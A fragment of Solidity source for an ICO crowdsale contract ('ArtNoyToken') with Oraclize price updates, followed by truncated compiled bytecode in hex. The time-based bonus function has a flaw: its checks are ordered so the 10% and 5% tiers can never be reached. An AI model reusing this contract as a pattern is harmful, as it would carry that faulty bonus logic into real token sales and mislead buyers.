distributionAddress; uint public startingExchangePrice = 1902877214779731; // Token contract address ArtNoyToken public token; // Constructor constructor (address _tokenAddress, address _distributionAddress) public payable{ require (msg.value > 0); token = ArtNoyToken(_tokenAddress); // techSupport = msg.sender; techSupport = 0x08531Ea431B6adAa46D2e7a75f48A8d9Ce412FDc; token.setCrowdsaleContract(this); owner = token.getOwner(); distributionAddress = _distributionAddress; oraclize_setNetwork(networkID_auto); oraclize = OraclizeI(OAR.getAddress()); oraclizeBalance = msg.value; tokenPrice = startingExchangePrice; // updateFlag = true; oraclize_query("URL", "json(https://api.kraken.com/0/public/Ticker?pair=ETHUSD).result.XETHZUSD.c.0"); } uint public ethCollected; uint public tokensSold; uint public minDeposit = 0.01 ether; uint public tokenPrice; //1usd // pre ico functions: uint public constant PRE_ICO_START = 1528243201; //1528344001; //1528228860-no; //06/06/2018 UTC-4 UTC-0 uint public constant PRE_ICO_FINISH = 1530403199; //1530417599; //1530388740-no; //30/06/2018 UTC-4 UTC-0 uint public constant PRE_ICO_MIN_CAP = 0; uint public constant PRE_ICO_MAX_CAP = 5000000 ether; //tokens uint public preIcoTokensSold; //end pre ico functions //ico functions uint public constant ICO_START = 1530403201; //1530417601; //1530388860-no; //01/07/2018 UTC-4 UTC-0 uint public constant ICO_FINISH = 1544918399; //1544932799; //1544903940-no; //15/12/2018 UTC-4 UTC-0 uint public constant ICO_MIN_CAP = 10000 ether; //tokens uint public constant ICO_MAX_CAP = 55000000 ether; //tokens //end ico functions mapping (address => uint) contributorsBalances; function getCurrentPhase (uint _time) public view returns(uint8){ if(_time == 0){ _time = now; } if (PRE_ICO_START < _time && _time <= PRE_ICO_FINISH){ return 1; } if (ICO_START < _time && _time <= ICO_FINISH){ return 2; } return 0; } function getTimeBasedBonus (uint _time) public view returns(uint) { if(_time == 0){ _time = now; } uint8 phase = getCurrentPhase(_time); if(phase == 1){ return 20; } if(phase == 2){ if (ICO_START + 90 days <= _time){ return 20; } if (ICO_START + 180 days <= _time){ return 10; } if (ICO_START + 365 days <= _time){ //CHANGE IT return 5; } } return 0; } event OnSuccessfullyBuy(address indexed _address, uint indexed _etherValue, bool indexed isBought, uint _tokenValue); function () public payable { require (msg.value >= minDeposit); require (buy(msg.sender, msg.value, now)); } function buy (address _address, uint _value, uint _time) internal returns(bool){ uint8 currentPhase = getCurrentPhase(_time); require (currentPhase != 0); uint tokensToSend = calculateTokensWithBonus(_value); ethCollected = ethCollected.add(_value); tokensSold = tokensSold.add(tokensToSend); if (currentPhase == 1){ require (preIcoTokensSold.add(tokensToSend) <= PRE_ICO_MAX_CAP); preIcoTokensSold = preIcoTokensSold.add(tokensToSend); distributionAddress.transfer(address(this).balance.sub(oraclizeBalance)); }else{ contributorsBalances[_address] = contributorsBalances[_address].add(_value); if(tokensSold >= ICO_MIN_CAP){ if(!areTokensSended){ token.icoSucceed(); areTokensSended = true; } distributionAddress.transfer(address(this).balance.sub(oraclizeBalance)); } } emit OnSuccessfullyBuy(_address,_value,true, tokensToSend); token.sendCrowdsaleTokens(_address, tokensToSend); return true; } bool public areTokensSended = false; function calculateTokensWithoutBonus (uint _value) public view returns(uint) { return _value.mul(uint(10).pow(decimals))/(tokenPrice); } function calculateTokensWithBonus (uint _value) public view returns(uint) { uint buffer = _value.mul(uint(10).pow(decimals))/(tokenPrice); return buffer.add(buffer.mul(getTimeBasedBonus(now))/100); } function isIcoTrue () public view returns(bool) { if (tokensSold >= ICO_MIN_CAP){ return true; } return false; } function refund () public { require (now > ICO_FINISH && !isIcoTrue()); require (contributorsBalances[msg.sender] != 0); uint balance = contributorsBalances[msg.sender]; contributorsBalances[msg.sender] = 0; msg.sender.transfer(balance); } function manualSendEther (address _address, uint _value) public onlyTechSupport { uint tokensToSend = calculateTokensWithBonus(_value); ethCollected = ethCollected.add(_value); tokensSold = tokensSold.add(tokensToSend); token.sendCrowdsaleTokens(_address, tokensToSend); emit OnSuccessfullyBuy(_address, 0, false, tokensToSend); } function manualSendTokens (address _address, uint _value) public onlyTechSupport { tokensSold = tokensSold.add(_value); token.sendCrowdsaleTokens(_address, _value); emit OnSuccessfullyBuy(_address, 0, false, _value); } event IcoEnded(); function endIco () public onlyOwner { require (now > ICO_FINISH); token.endIco(); emit IcoEnded(); } // ORACLIZE functions uint public oraclizeBalance; bool public updateFlag = true; uint public priceUpdateAt; function update() internal { oraclize_query(86400,"URL", "json(https://api.kraken.com/0/public/Ticker?pair=ETHUSD).result.XETHZUSD.c.0"); //86400 - 1 day oraclizeBalance = oraclizeBalance.sub(oraclize_getPrice("URL")); //request to oraclize } function startOraclize (uint _time) public onlyOwner { require (_time != 0); require (!updateFlag); updateFlag = true; oraclize_query(_time,"URL", "json(https://api.kraken.com/0/public/Ticker?pair=ETHUSD).result.XETHZUSD.c.0"); oraclizeBalance = oraclizeBalance.sub(oraclize_getPrice("URL")); } function addEtherForOraclize () public payable { oraclizeBalance = oraclizeBalance.add(msg.value); } function requestOraclizeBalance () public onlyOwner { updateFlag = false; if (address(this).balance >= oraclizeBalance){ owner.transfer(oraclizeBalance); }else{ owner.transfer(address(this).balance); } oraclizeBalance = 0; } function stopOraclize () public onlyOwner { updateFlag = false; } function __callback(bytes32, string result, bytes) public { require(msg.sender == oraclize_cbAddress()); uint256 price = 10 ** 23 / parseInt(result, 5); require(price > 0); tokenPrice = price; priceUpdateAt = block.timestamp; if(updateFlag){ update(); } } //end ORACLIZE functions }
0x60806040526004361061021a576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063042abdf814610243578063047190301461026e5780632184fe2c146102bb57806327dc297e146102fe5780632ce0b4f614610375578063313ce567146103a057806331a3b873146103cb57806337fb7e21146103f657806338bbfa501461044d5780633a7104d11461050a5780633cd2df82146105395780633fb1fed41461057a5780633fd0f727146105a557806341b3d185146105d457806346e2a174146105ff578063518ab2a81461062a578063572e85ec14610655578063590e1ae31461069c57806360cd4ba4146106b3578063615af5fb146106f457806379ba5097146107235780637ea15da11461073a5780637ff9b596146107655780638d4ea1ba146107905780638da5cb5b1461079a5780638ece39cd146107f1578063944126f41461081e578063993d13bd146108355780639b3a36c0146108605780639c977e43146108a1578063a6024524146108b8578063b21ba254146108e3578063bae99efc14610930578063bee2e1341461095b578063c2d560ab14610986578063c4218d331461099d578063d0ca12ba146109c8578063d459654a146109f3578063d4810b6114610a4a578063d4ee1d9014610a75578063e3d1359214610acc578063e657807b14610b23578063f2fde38b14610b3a578063fc0c546a14610b7d575b600f54341015151561022b57600080fd5b610236333442610bd4565b151561024157600080fd5b005b34801561024f57600080fd5b50610258611073565b6040518082815260200191505060405180910390f35b34801561027a57600080fd5b506102b9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611078565b005b3480156102c757600080fd5b506102fc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061127b565b005b34801561030a57600080fd5b506103736004803603810190808035600019169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611372565b005b34801561038157600080fd5b5061038a6113b5565b6040518082815260200191505060405180910390f35b3480156103ac57600080fd5b506103b56113bd565b6040518082815260200191505060405180910390f35b3480156103d757600080fd5b506103e06113c3565b6040518082815260200191505060405180910390f35b34801561040257600080fd5b5061040b6113d1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561045957600080fd5b506105086004803603810190808035600019169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506113f7565b005b34801561051657600080fd5b5061051f61149d565b604051808215151515815260200191505060405180910390f35b34801561054557600080fd5b50610564600480360381019080803590602001909291905050506114b0565b6040518082815260200191505060405180910390f35b34801561058657600080fd5b5061058f6114ee565b6040518082815260200191505060405180910390f35b3480156105b157600080fd5b506105ba6114f4565b604051808215151515815260200191505060405180910390f35b3480156105e057600080fd5b506105e961151c565b6040518082815260200191505060405180910390f35b34801561060b57600080fd5b50610614611522565b6040518082815260200191505060405180910390f35b34801561063657600080fd5b5061063f611528565b6040518082815260200191505060405180910390f35b34801561066157600080fd5b506106806004803603810190808035906020019092919050505061152e565b604051808260ff1660ff16815260200191505060405180910390f35b3480156106a857600080fd5b506106b1611590565b005b3480156106bf57600080fd5b506106de600480360381019080803590602001909291905050506116d5565b6040518082815260200191505060405180910390f35b34801561070057600080fd5b5061070961176f565b604051808215151515815260200191505060405180910390f35b34801561072f57600080fd5b50610738611782565b005b34801561074657600080fd5b5061074f61183d565b6040518082815260200191505060405180910390f35b34801561077157600080fd5b5061077a611843565b6040518082815260200191505060405180910390f35b610798611849565b005b3480156107a657600080fd5b506107af611866565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107fd57600080fd5b5061081c6004803603810190808035906020019092919050505061188b565b005b34801561082a57600080fd5b50610833611a4b565b005b34801561084157600080fd5b5061084a611b07565b6040518082815260200191505060405180910390f35b34801561086c57600080fd5b5061088b60048036038101908080359060200190929190505050611b16565b6040518082815260200191505060405180910390f35b3480156108ad57600080fd5b506108b6611b91565b005b3480156108c457600080fd5b506108cd611d22565b6040518082815260200191505060405180910390f35b3480156108ef57600080fd5b5061092e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611d2a565b005b34801561093c57600080fd5b50610945611f56565b6040518082815260200191505060405180910390f35b34801561096757600080fd5b50610970611f65565b6040518082815260200191505060405180910390f35b34801561099257600080fd5b5061099b611f6b565b005b3480156109a957600080fd5b506109b2611fe3565b6040518082815260200191505060405180910390f35b3480156109d457600080fd5b506109dd611fe9565b6040518082815260200191505060405180910390f35b3480156109ff57600080fd5b50610a08611ff1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a5657600080fd5b50610a5f612017565b6040518082815260200191505060405180910390f35b348015610a8157600080fd5b50610a8a61201f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610ad857600080fd5b50610ae1612045565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b2f57600080fd5b50610b3861206b565b005b348015610b4657600080fd5b50610b7b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121a4565b005b348015610b8957600080fd5b50610b9261227f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000806000610be28461152e565b915060008260ff1614151515610bf757600080fd5b610c0085611b16565b9050610c1785600d546122a590919063ffffffff16565b600d81905550610c3281600e546122a590919063ffffffff16565b600e8190555060018260ff161415610d26576a0422ca8b0a00a425000000610c65826011546122a590919063ffffffff16565b11151515610c7257600080fd5b610c87816011546122a590919063ffffffff16565b601181905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc610cf56014543073ffffffffffffffffffffffffffffffffffffffff16316122c390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015610d20573d6000803e3d6000fd5b50610f36565b610d7885601260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a590919063ffffffff16565b601260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555069021e19e0c9bab2400000600e54101515610f3557601360009054906101000a900460ff161515610ea057600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f27a41886040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b158015610e6c57600080fd5b505af1158015610e80573d6000803e3d6000fd5b505050506001601360006101000a81548160ff0219169083151502179055505b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc610f086014543073ffffffffffffffffffffffffffffffffffffffff16316122c390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015610f33573d6000803e3d6000fd5b505b5b60011515858773ffffffffffffffffffffffffffffffffffffffff167fdda02a94b6f987654c6a801cfc69e67df6e90b0b3cb4d6caf02f24ddd2138ceb846040518082815260200191505060405180910390a4600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639c1f020a87836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561104e57600080fd5b505af1158015611062573d6000803e3d6000fd5b505050506001925050509392505050565b600081565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061112057506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561112b57600080fd5b61114081600e546122a590919063ffffffff16565b600e81905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639c1f020a83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561120b57600080fd5b505af115801561121f573d6000803e3d6000fd5b505050506000151560008373ffffffffffffffffffffffffffffffffffffffff167fdda02a94b6f987654c6a801cfc69e67df6e90b0b3cb4d6caf02f24ddd2138ceb846040518082815260200191505060405180910390a45050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806113235750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561132e57600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6113b1828260006040519080825280601f01601f1916602001820160405280156113ab5781602001602082028038833980820191505090505b506113f7565b5050565b635c15957f81565b60095481565b69021e19e0c9bab240000081565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006114016122dc565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561143a57600080fd5b61144583600561263e565b69152d02c7e14af680000081151561145957fe5b04905060008111151561146b57600080fd5b8060108190555042601681905550601560009054906101000a900460ff161561149757611496612932565b5b50505050565b601560009054906101000a900460ff1681565b60006010546114dd6114ce600954600a612a5290919063ffffffff16565b84612a8390919063ffffffff16565b8115156114e657fe5b049050919050565b600b5481565b600069021e19e0c9bab2400000600e541015156115145760019050611519565b600090505b90565b600f5481565b60115481565b600e5481565b60008082141561153c574291505b81635b1724011080156115535750635b38197f8211155b15611561576001905061158b565b81635b3819811080156115785750635c15957f8211155b15611586576002905061158b565b600090505b919050565b6000635c15957f421180156115aa57506115a86114f4565b155b15156115b557600080fd5b6000601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415151561160457600080fd5b601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116d1573d6000803e3d6000fd5b5050565b60008060008314156116e5574292505b6116ee8361152e565b905060018160ff1614156117055760149150611769565b60028160ff16141561176457826276a700635b3819810111151561172c5760149150611769565b8262ed4e00635b3819810111151561174757600a9150611769565b826301e13380635b381981011115156117635760059150611769565b5b600091505b50919050565b601360009054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561183b57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b565b60165481565b60105481565b61185e346014546122a590919063ffffffff16565b601481905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118e657600080fd5b600081141515156118f657600080fd5b601560009054906101000a900460ff1615151561191257600080fd5b6001601560006101000a81548160ff0219169083151502179055506119ef816040805190810160405280600381526020017f55524c0000000000000000000000000000000000000000000000000000000000815250608060405190810160405280604c81526020017f6a736f6e2868747470733a2f2f6170692e6b72616b656e2e636f6d2f302f707581526020017f626c69632f5469636b65723f706169723d455448555344292e726573756c742e81526020017f584554485a5553442e632e300000000000000000000000000000000000000000815250612ac9565b50611a42611a316040805190810160405280600381526020017f55524c000000000000000000000000000000000000000000000000000000000081525061306f565b6014546122c390919063ffffffff16565b60148190555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415611b0557600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b565b6a0422ca8b0a00a42500000081565b600080601054611b44611b35600954600a612a5290919063ffffffff16565b85612a8390919063ffffffff16565b811515611b4d57fe5b049050611b896064611b70611b61426116d5565b84612a8390919063ffffffff16565b811515611b7957fe5b04826122a590919063ffffffff16565b915050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bec57600080fd5b6000601560006101000a81548160ff0219169083151502179055506014543073ffffffffffffffffffffffffffffffffffffffff1631101515611c98576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6014549081150290604051600060405180830381858888f19350505050158015611c92573d6000803e3d6000fd5b50611d18565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015611d16573d6000803e3d6000fd5b505b6000601481905550565b635b38197f81565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611dd457506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611ddf57600080fd5b611de882611b16565b9050611dff82600d546122a590919063ffffffff16565b600d81905550611e1a81600e546122a590919063ffffffff16565b600e81905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639c1f020a84836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015611ee557600080fd5b505af1158015611ef9573d6000803e3d6000fd5b505050506000151560008473ffffffffffffffffffffffffffffffffffffffff167fdda02a94b6f987654c6a801cfc69e67df6e90b0b3cb4d6caf02f24ddd2138ceb846040518082815260200191505060405180910390a4505050565b6a2d7eb3f96e070d9700000081565b600d5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611fc657600080fd5b6000601560006101000a81548160ff021916908315150217905550565b60145481565b635b38198181565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b635b17240181565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156120c657600080fd5b635c15957f421115156120d857600080fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e657807b6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15801561215e57600080fd5b505af1158015612172573d6000803e3d6000fd5b505050507f236b5488d7d568eed00b6315077bce0d53f4bb657dc95e05c71325a26ce1cc7760405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156121ff57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561223b57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008082840190508381101515156122b957fe5b8091505092915050565b60008282111515156122d157fe5b818303905092915050565b600080600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061234e5750600061234c600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613443565b145b1561235f5761235d600061344e565b505b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338cc48316040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156123e557600080fd5b505af11580156123f9573d6000803e3d6000fd5b505050506040513d602081101561240f57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561257857600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338cc48316040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156124fc57600080fd5b505af1158015612510573d6000803e3d6000fd5b505050506040513d602081101561252657600080fd5b8101908080519060200190929190505050600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c281d19e6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156125fe57600080fd5b505af1158015612612573d6000803e3d6000fd5b505050506040513d602081101561262857600080fd5b8101908080519060200190929190505050905090565b6000606060008060008693506000925060009150600090505b83518110156129135760307f010000000000000000000000000000000000000000000000000000000000000002848281518110151561269257fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916101580156127aa575060397f010000000000000000000000000000000000000000000000000000000000000002848281518110151561273a57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191611155b1561285b5781156127cd5760008614156127c357612913565b8580600190039650505b600a83029250603084828151811015156127e357fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027f010000000000000000000000000000000000000000000000000000000000000090040383019250612906565b602e7f010000000000000000000000000000000000000000000000000000000000000002848281518110151561288d57fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000027effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141561290557600191505b5b8080600101915050612657565b60008611156129255785600a0a830292505b8294505050505092915050565b6129f7620151806040805190810160405280600381526020017f55524c0000000000000000000000000000000000000000000000000000000000815250608060405190810160405280604c81526020017f6a736f6e2868747470733a2f2f6170692e6b72616b656e2e636f6d2f302f707581526020017f626c69632f5469636b65723f706169723d455448555344292e726573756c742e81526020017f584554485a5553442e632e300000000000000000000000000000000000000000815250612ac9565b50612a4a612a396040805190810160405280600381526020017f55524c000000000000000000000000000000000000000000000000000000000081525061306f565b6014546122c390919063ffffffff16565b601481905550565b6000806000831415612a675760019150612a7c565b82840a9050838110151515612a7857fe5b8091505b5092915050565b6000806000841480612a955750600083145b15612aa35760009150612ac2565b8284029050828482811515612ab457fe5b04141515612abe57fe5b8091505b5092915050565b6000806000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480612b3d57506000612b3b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613443565b145b15612b4e57612b4c600061344e565b505b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338cc48316040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015612bd457600080fd5b505af1158015612be8573d6000803e3d6000fd5b505050506040513d6020811015612bfe57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515612d6757600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338cc48316040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015612ceb57600080fd5b505af1158015612cff573d6000803e3d6000fd5b505050506040513d6020811015612d1557600080fd5b8101908080519060200190929190505050600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663524f3889856040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612e11578082015181840152602081019050612df6565b50505050905090810190601f168015612e3e5780820380516001836020036101000a031916815260200191505b5092505050602060405180830381600087803b158015612e5d57600080fd5b505af1158015612e71573d6000803e3d6000fd5b505050506040513d6020811015612e8757600080fd5b8101908080519060200190929190505050905062030d403a02670de0b6b3a764000001811115612ebd5760006001029150613067565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663adf59f99828787876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808481526020018060200180602001838103835285818151815260200191508051906020019080838360005b83811015612f74578082015181840152602081019050612f59565b50505050905090810190601f168015612fa15780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b83811015612fda578082015181840152602081019050612fbf565b50505050905090810190601f1680156130075780820380516001836020036101000a031916815260200191505b50955050505050506020604051808303818588803b15801561302857600080fd5b505af115801561303c573d6000803e3d6000fd5b50505050506040513d602081101561305357600080fd5b810190808051906020019092919050505091505b509392505050565b600080600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806130e1575060006130df600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613443565b145b156130f2576130f0600061344e565b505b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338cc48316040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561317857600080fd5b505af115801561318c573d6000803e3d6000fd5b505050506040513d60208110156131a257600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561330b57600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338cc48316040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561328f57600080fd5b505af11580156132a3573d6000803e3d6000fd5b505050506040513d60208110156132b957600080fd5b8101908080519060200190929190505050600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663524f3889836040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018080602001828103825283818151815260200191508051906020019080838360005b838110156133b557808201518184015260208101905061339a565b50505050905090810190601f1680156133e25780820380516001836020036101000a031916815260200191505b5092505050602060405180830381600087803b15801561340157600080fd5b505af1158015613415573d6000803e3d6000fd5b505050506040513d602081101561342b57600080fd5b81019080805190602001909291905050509050919050565b6000813b9050919050565b600061345861345f565b9050919050565b60008061347f731d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed613443565b111561352157731d3b2638a7cc9f2cb3d298a3da7a90b67e5506ed600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506135186040805190810160405280600b81526020017f6574685f6d61696e6e65740000000000000000000000000000000000000000008152506138f5565b600190506138f2565b600061354073c03a2615d5efaf5f49f60b7bb6583eaec212fdf1613443565b11156135e25773c03a2615d